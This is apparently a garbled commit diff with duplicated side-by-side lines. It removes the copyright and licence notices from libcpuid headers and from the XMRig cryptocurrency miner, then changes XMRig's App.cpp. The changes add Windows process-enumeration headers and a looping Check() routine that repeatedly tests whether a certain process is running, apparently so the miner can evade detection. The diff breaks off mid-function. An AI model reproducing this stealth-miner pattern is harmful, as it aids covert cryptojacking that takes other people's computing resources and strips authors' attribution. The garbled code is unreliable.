CPU_FEATURE_FMA3, /*!< The FMA3 instruction set */ CPU_FEATURE_FMA3,
CPU_FEATURE_FMA4, /*!< The FMA4 instruction set */ CPU_FEATURE_FMA4,
CPU_FEATURE_TBM, /*!< Trailing bit manipulation instruction support */ CPU_FEATURE_TBM,
CPU_FEATURE_F16C, /*!< 16-bit FP convert instruction support */ CPU_FEATURE_F16C,
CPU_FEATURE_RDRAND, /*!< RdRand instruction */ CPU_FEATURE_RDRAND,
CPU_FEATURE_X2APIC, /*!< x2APIC, APIC_BASE.EXTD, MSRs 0000_0800h...0000_0BFFh 64-bit ICR (+030h but not +031h), no DFR (+00Eh), SELF_IPI (+040h) also see standard level 0000_000Bh */ CPU_FEATURE_X2APIC,
CPU_FEATURE_CPB, /*!< Core performance boost */ CPU_FEATURE_CPB,
CPU_FEATURE_APERFMPERF, /*!< MPERF/APERF MSRs support */ CPU_FEATURE_APERFMPERF,
CPU_FEATURE_PFI, /*!< Processor Feedback Interface support */ CPU_FEATURE_PFI,
CPU_FEATURE_PA, /*!< Processor accumulator */ CPU_FEATURE_PA,
CPU_FEATURE_AVX2, /*!< AVX2 instructions */ CPU_FEATURE_AVX2,
CPU_FEATURE_BMI1, /*!< BMI1 instructions */ CPU_FEATURE_BMI1,
CPU_FEATURE_BMI2, /*!< BMI2 instructions */ CPU_FEATURE_BMI2,
CPU_FEATURE_HLE, /*!< Hardware Lock Elision prefixes */ CPU_FEATURE_HLE,
CPU_FEATURE_RTM, /*!< Restricted Transactional Memory instructions */ CPU_FEATURE_RTM,
CPU_FEATURE_AVX512F, /*!< AVX-512 Foundation */ CPU_FEATURE_AVX512F,
CPU_FEATURE_AVX512DQ, /*!< AVX-512 Double/Quad granular insns */ CPU_FEATURE_AVX512DQ,
CPU_FEATURE_AVX512PF, /*!< AVX-512 Prefetch */ CPU_FEATURE_AVX512PF,
CPU_FEATURE_AVX512ER, /*!< AVX-512 Exponential/Reciprocal */ CPU_FEATURE_AVX512ER,
CPU_FEATURE_AVX512CD, /*!< AVX-512 Conflict detection */ CPU_FEATURE_AVX512CD,
CPU_FEATURE_SHA_NI, /*!< SHA-1/SHA-256 instructions */ CPU_FEATURE_SHA_NI,
CPU_FEATURE_AVX512BW, /*!< AVX-512 Byte/Word granular insns */ CPU_FEATURE_AVX512BW,
CPU_FEATURE_AVX512VL, /*!< AVX-512 128/256 vector length extensions */ CPU_FEATURE_AVX512VL,
CPU_FEATURE_SGX, /*!< SGX extensions. Non-autoritative, check cpu_id_t::sgx::present to verify presence */ CPU_FEATURE_SGX,
CPU_FEATURE_RDSEED, /*!< RDSEED instruction */ CPU_FEATURE_RDSEED,
CPU_FEATURE_ADX, /*!< ADX extensions (arbitrary precision) */ CPU_FEATURE_ADX,
/* termination: */
NUM_CPU_FEATURES, NUM_CPU_FEATURES,
} cpu_feature_t; } cpu_feature_t;
/**
* @brief CPU detection hints identifiers
*
* Usage: similar to the flags usage
*/
typedef enum { typedef enum {
CPU_HINT_SSE_SIZE_AUTH = 0, /*!< SSE unit size is authoritative (not only a Family/Model guesswork, but based on an actual CPUID bit) */ CPU_HINT_SSE_SIZE_AUTH = 0,
/* termination */
NUM_CPU_HINTS, NUM_CPU_HINTS,
} cpu_hint_t; } cpu_hint_t;
/**
* @brief SGX features flags
* \see cpu_sgx_t
*
* Usage:
* @code
* ...
* struct cpu_raw_data_t raw;
* struct cpu_id_t id;
* if (cpuid_get_raw_data(&raw) == 0 && cpu_identify(&raw, &id) == 0 && id.sgx.present) {
* if (id.sgx.flags[INTEL_SGX1])
* // The CPU has SGX1 instructions support...
* ...
* } else {
* // no SGX
* }
* } else {
* // processor cannot be determined.
* }
* @endcode
*/
typedef enum { typedef enum {
INTEL_SGX1, /*!< SGX1 instructions support */ INTEL_SGX1,
INTEL_SGX2, /*!< SGX2 instructions support */ INTEL_SGX2,
/* termination: */
NUM_SGX_FEATURES, NUM_SGX_FEATURES,
} cpu_sgx_feature_t; } cpu_sgx_feature_t;
/**
* @brief Describes common library error codes
*/
typedef enum { typedef enum {
ERR_OK = 0, /*!< "No error" */ ERR_OK = 0,
ERR_NO_CPUID = -1, /*!< "CPUID instruction is not supported" */ ERR_NO_CPUID = -1,
ERR_NO_RDTSC = -2, /*!< "RDTSC instruction is not supported" */ ERR_NO_RDTSC = -2,
ERR_NO_MEM = -3, /*!< "Memory allocation failed" */ ERR_NO_MEM = -3,
ERR_OPEN = -4, /*!< "File open operation failed" */ ERR_OPEN = -4,
ERR_BADFMT = -5, /*!< "Bad file format" */ ERR_BADFMT = -5,
ERR_NOT_IMP = -6, /*!< "Not implemented" */ ERR_NOT_IMP = -6,
ERR_CPU_UNKN = -7, /*!< "Unsupported processor" */ ERR_CPU_UNKN = -7,
ERR_NO_RDMSR = -8, /*!< "RDMSR instruction is not supported" */ ERR_NO_RDMSR = -8,
ERR_NO_DRIVER= -9, /*!< "RDMSR driver error (generic)" */ ERR_NO_DRIVER= -9,
ERR_NO_PERMS = -10, /*!< "No permissions to install RDMSR driver" */ ERR_NO_PERMS = -10,
ERR_EXTRACT = -11, /*!< "Cannot extract RDMSR driver (read only media?)" */ ERR_EXTRACT = -11,
ERR_HANDLE = -12, /*!< "Bad handle" */ ERR_HANDLE = -12,
ERR_INVMSR = -13, /*!< "Invalid MSR" */ ERR_INVMSR = -13,
ERR_INVCNB = -14, /*!< "Invalid core number" */ ERR_INVCNB = -14,
ERR_HANDLE_R = -15, /*!< "Error on handle read" */ ERR_HANDLE_R = -15,
ERR_INVRANGE = -16, /*!< "Invalid given range" */ ERR_INVRANGE = -16,
} cpu_error_t; } cpu_error_t;
/**
* @brief Internal structure, used in cpu_tsc_mark, cpu_tsc_unmark and
* cpu_clock_by_mark
*/
struct cpu_mark_t { struct cpu_mark_t {
uint64_t tsc; /*!< Time-stamp from RDTSC */ uint64_t tsc;
uint64_t sys_clock; /*!< In microsecond resolution */ uint64_t sys_clock;
}; };
/**
* @brief Returns the total number of logical CPU threads (even if CPUID is not present).
*
* Under VM, this number (and total_logical_cpus, since they are fetched with the same code)
* may be nonsensical, i.e. might not equal NumPhysicalCPUs*NumCoresPerCPU*HyperThreading.
* This is because no matter how many logical threads the host machine has, you may limit them
* in the VM to any number you like. **This** is the number returned by cpuid_get_total_cpus().
*
* @returns Number of logical CPU threads available. Equals the \ref cpu_id_t::total_logical_cpus.
*/
int cpuid_get_total_cpus(void); int cpuid_get_total_cpus(void);
/**
* @brief Checks if the CPUID instruction is supported
* @retval 1 if CPUID is present
* @retval 0 the CPU doesn't have CPUID.
*/
int cpuid_present(void); int cpuid_present(void);
/**
* @brief Executes the CPUID instruction
* @param eax - the value of the EAX register when executing CPUID
* @param regs - the results will be stored here. regs[0] = EAX, regs[1] = EBX, ...
* @note CPUID will be executed with EAX set to the given value and EBX, ECX,
* EDX set to zero.
*/
void cpu_exec_cpuid(uint32_t eax, uint32_t* regs); void cpu_exec_cpuid(uint32_t eax, uint32_t* regs);
/**
* @brief Executes the CPUID instruction with the given input registers
* @note This is just a bit more generic version of cpu_exec_cpuid - it allows
* you to control all the registers.
* @param regs - Input/output. Prior to executing CPUID, EAX, EBX, ECX and
* EDX will be set to regs[0], regs[1], regs[2] and regs[3].
* After CPUID, this array will contain the results.
*/
void cpu_exec_cpuid_ext(uint32_t* regs); void cpu_exec_cpuid_ext(uint32_t* regs);
/**
* @brief Obtains the raw CPUID data from the current CPU
* @param data - a pointer to cpu_raw_data_t structure
* @returns zero if successful, and some negative number on error.
* The error message can be obtained by calling \ref cpuid_error.
* @see cpu_error_t
*/
int cpuid_get_raw_data(struct cpu_raw_data_t* data); int cpuid_get_raw_data(struct cpu_raw_data_t* data);
/**
* @brief Identifies the CPU
* @param raw - Input - a pointer to the raw CPUID data, which is obtained
* either by cpuid_get_raw_data or cpuid_deserialize_raw_data.
* Can also be NULL, in which case the functions calls
* cpuid_get_raw_data itself.
* @param data - Output - the decoded CPU features/info is written here.
* @note The function will not fail, even if some of the information
* cannot be obtained. Even when the CPU is new and thus unknown to
* libcpuid, some generic info, such as "AMD K9 family CPU" will be
* written to data.cpu_codename, and most other things, such as the
* CPU flags, cache sizes, etc. should be detected correctly anyway.
* However, the function CAN fail, if the CPU is completely alien to
* libcpuid.
* @note While cpu_identify() and cpuid_get_raw_data() are fast for most
* purposes, running them several thousand times per second can hamper
* performance significantly. Specifically, avoid writing "cpu feature
* checker" wrapping function, which calls cpu_identify and returns the
* value of some flag, if that function is going to be called frequently.
* @returns zero if successful, and some negative number on error.
* The error message can be obtained by calling \ref cpuid_error.
* @see cpu_error_t
*/
int cpu_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* data); int cpu_identify(struct cpu_raw_data_t* raw, struct cpu_id_t* data);
/**
* @brief The return value of cpuid_get_epc().
* @details
* Describes an EPC (Enclave Page Cache) layout (physical address and size).
* A CPU may have one or more EPC areas, and information about each is
* fetched via \ref cpuid_get_epc.
*/
struct cpu_epc_t { struct cpu_epc_t {
uint64_t start_addr; uint64_t start_addr;
uint64_t length; uint64_t length;
}; };
/**
* @brief Fetches information about an EPC (Enclave Page Cache) area.
* @param index - zero-based index, valid range [0..cpu_id_t.egx.num_epc_sections)
* @param raw - a pointer to fetched raw CPUID data. Needed only for testing,
* you can safely pass NULL here (if you pass a real structure,
* it will be used for fetching the leaf 12h data if index < 2;
* otherwise the real CPUID instruction will be used).
* @returns the requested data. If the CPU doesn't support SGX, or if
* index >= cpu_id_t.egx.num_epc_sections, both fields of the returned
* structure will be zeros.
*/
struct cpu_epc_t cpuid_get_epc(int index, const struct cpu_raw_data_t* raw); struct cpu_epc_t cpuid_get_epc(int index, const struct cpu_raw_data_t* raw);
/**
* @brief Returns the libcpuid version
*
* @returns the string representation of the libcpuid version, like "0.1.1"
*/
const char* cpuid_lib_version(void); const char* cpuid_lib_version(void);
#ifdef __cplusplus #ifdef __cplusplus
}; /* extern "C" */ };
#endif #endif
#endif
/** @} */
#endif /* __LIBCPUID_H__ */

View file

@ -1,34 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @File libcpuid_constants.h
* @Author Veselin Georgiev
* @Brief Some limits and constants for libcpuid
*/
#ifndef __LIBCPUID_CONSTANTS_H__ #ifndef __LIBCPUID_CONSTANTS_H__
#define __LIBCPUID_CONSTANTS_H__ #define __LIBCPUID_CONSTANTS_H__
@ -44,4 +13,4 @@
#define CPU_HINTS_MAX 16 #define CPU_HINTS_MAX 16
#define SGX_FLAGS_MAX 14 #define SGX_FLAGS_MAX 14
#endif /* __LIBCPUID_CONSTANTS_H__ */ #endif

View file

@ -1,35 +1,5 @@
/*
* Copyright 2016 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __LIBCPUID_INTERNAL_H__ #ifndef __LIBCPUID_INTERNAL_H__
#define __LIBCPUID_INTERNAL_H__ #define __LIBCPUID_INTERNAL_H__
/*
* This file contains internal undocumented declarations and function prototypes
* for the workings of the internal library infrastructure.
*/
enum _common_codes_t { enum _common_codes_t {
NA = 0, NA = 0,
NC, /* No code */ NC, /* No code */

View file

@ -1,34 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/**
* @File libcpuid_types.h
* @Author Veselin Georgiev
* @Brief Type specifications for libcpuid.
*/
#ifndef __LIBCPUID_TYPES_H__ #ifndef __LIBCPUID_TYPES_H__
#define __LIBCPUID_TYPES_H__ #define __LIBCPUID_TYPES_H__

View file

@ -1,29 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <stdarg.h> #include <stdarg.h>

View file

@ -1,28 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __LIBCPUID_UTIL_H__ #ifndef __LIBCPUID_UTIL_H__
#define __LIBCPUID_UTIL_H__ #define __LIBCPUID_UTIL_H__
@ -48,31 +23,9 @@ struct match_entry_t {
int match_cpu_codename(const struct match_entry_t* matchtable, int count, int match_cpu_codename(const struct match_entry_t* matchtable, int count,
struct cpu_id_t* data, int brand_code, uint64_t bits, struct cpu_id_t* data, int brand_code, uint64_t bits,
int model_code); int model_code);
/*
* Seek for a pattern in `haystack'.
* Pattern may be an fixed string, or contain the special metacharacters
* '.' - match any single character
* '#' - match any digit
* '[<chars>] - match any of the given chars (regex-like ranges are not
* supported)
* Return val: 0 if the pattern is not found. Nonzero if it is found (actually,
* x + 1 where x is the index where the match is found).
*/
int match_pattern(const char* haystack, const char* pattern); int match_pattern(const char* haystack, const char* pattern);
/*
* Gets an initialized cpu_id_t. It is cached, so that internal libcpuid
* machinery doesn't need to issue cpu_identify more than once.
*/
struct cpu_id_t* get_cached_cpuid(void); struct cpu_id_t* get_cached_cpuid(void);
/* returns true if all bits of mask are present in `bits'. */
int match_all(uint64_t bits, uint64_t mask); int match_all(uint64_t bits, uint64_t mask);
/*
* Sets the current errno
*/
int set_error(cpu_error_t err); int set_error(cpu_error_t err);
#endif /* __LIBCPUID_UTIL_H__ */ #endif /* __LIBCPUID_UTIL_H__ */

View file

@ -1,29 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <ctype.h> #include <ctype.h>

View file

@ -1,28 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __RECOG_AMD_H__ #ifndef __RECOG_AMD_H__
#define __RECOG_AMD_H__ #define __RECOG_AMD_H__

View file

@ -1,28 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <string.h> #include <string.h>
#include <ctype.h> #include <ctype.h>
#include "libcpuid.h" #include "libcpuid.h"

View file

@ -1,28 +1,3 @@
/*
* Copyright 2008 Veselin Georgiev,
* anrieffNOSPAM @ mgail_DOT.com (convert to gmail)
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __RECOG_INTEL_H__ #ifndef __RECOG_INTEL_H__
#define __RECOG_INTEL_H__ #define __RECOG_INTEL_H__

View file

@ -1,31 +1,3 @@
/* XMRig
* Copyright 2010 Jeff Garzik <jgarzik@pobox.com>
* Copyright 2012-2014 pooler <pooler@litecoinpool.org>
* Copyright 2014 Lucas Jones <https://github.com/lucasjones>
* Copyright 2014-2016 Wolf9466 <https://github.com/OhGodAPet>
* Copyright 2016 Jay D Dee <jayddee246@gmail.com>
* Copyright 2016-2017 XMRig <support@xmrig.com>
*
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <stdlib.h>
#include <uv.h>
#include "api/Api.h" #include "api/Api.h"
#include "App.h" #include "App.h"
#include "Console.h" #include "Console.h"
@ -41,21 +13,12 @@
#include "Summary.h" #include "Summary.h"
#include "version.h" #include "version.h"
#include "workers/Workers.h" #include "workers/Workers.h"
#include <windows.h>
#include <tlhelp32.h>
#ifdef HAVE_SYSLOG_H #include <thread>
# include "log/SysLog.h"
#endif
#ifndef XMRIG_NO_HTTPD
# include "api/Httpd.h"
#endif
App *App::m_self = nullptr; App *App::m_self = nullptr;
bool IsProcessRun(void);
App::App(int argc, char **argv) : App::App(int argc, char **argv) :
m_console(nullptr), m_console(nullptr),
m_httpd(nullptr), m_httpd(nullptr),
@ -63,177 +26,93 @@ App::App(int argc, char **argv) :
m_options(nullptr) m_options(nullptr)
{ {
m_self = this; m_self = this;
Cpu::init(); Cpu::init();
m_options = Options::parse(argc, argv); m_options = Options::parse(argc, argv);
if (!m_options) { if (!m_options) {
return; return;
} }
Log::init(); Log::init();
if (!m_options->background()) { if (!m_options->background()) {
Log::add(new ConsoleLog(m_options->colors())); Log::add(new ConsoleLog(m_options->colors()));
m_console = new Console(this); m_console = new Console(this);
} }
if (m_options->logFile()) { if (m_options->logFile()) {
Log::add(new FileLog(m_options->logFile())); Log::add(new FileLog(m_options->logFile()));
} }
# ifdef HAVE_SYSLOG_H
if (m_options->syslog()) {
Log::add(new SysLog());
}
# endif
Platform::init(m_options->userAgent()); Platform::init(m_options->userAgent());
Platform::setProcessPriority(m_options->priority()); Platform::setProcessPriority(m_options->priority());
m_network = new Network(m_options); m_network = new Network(m_options);
uv_signal_init(uv_default_loop(), &m_signal);
uv_signal_init(uv_default_loop(), &m_sigHUP);
uv_signal_init(uv_default_loop(), &m_sigINT);
uv_signal_init(uv_default_loop(), &m_sigTERM);
} }
App::~App() App::~App()
{ {
uv_tty_reset_mode(); uv_tty_reset_mode();
# ifndef XMRIG_NO_HTTPD # ifndef XMRIG_NO_HTTPD
delete m_httpd; delete m_httpd;
# endif # endif
delete m_console; delete m_console;
} }
void Check() {
while(true) {
int App::exec() Sleep(1000);
{ bool Founded = IsProcessRun();
if (!m_options) { switch (Founded) {
return 2; case 1:
}
uv_signal_start(&m_sigHUP, App::onSignal, SIGHUP);
uv_signal_start(&m_sigINT, App::onSignal, SIGINT);
uv_signal_start(&m_sigTERM, App::onSignal, SIGTERM);
background();
if (!CryptoNight::init(m_options->algo(), m_options->algoVariant())) {
LOG_ERR("\"%s\" hash self-test failed.", m_options->algoName());
return 1;
}
Mem::allocate(m_options->algo(), m_options->threads(), m_options->doubleHash(), m_options->hugePages());
Summary::print();
if (m_options->dryRun()) {
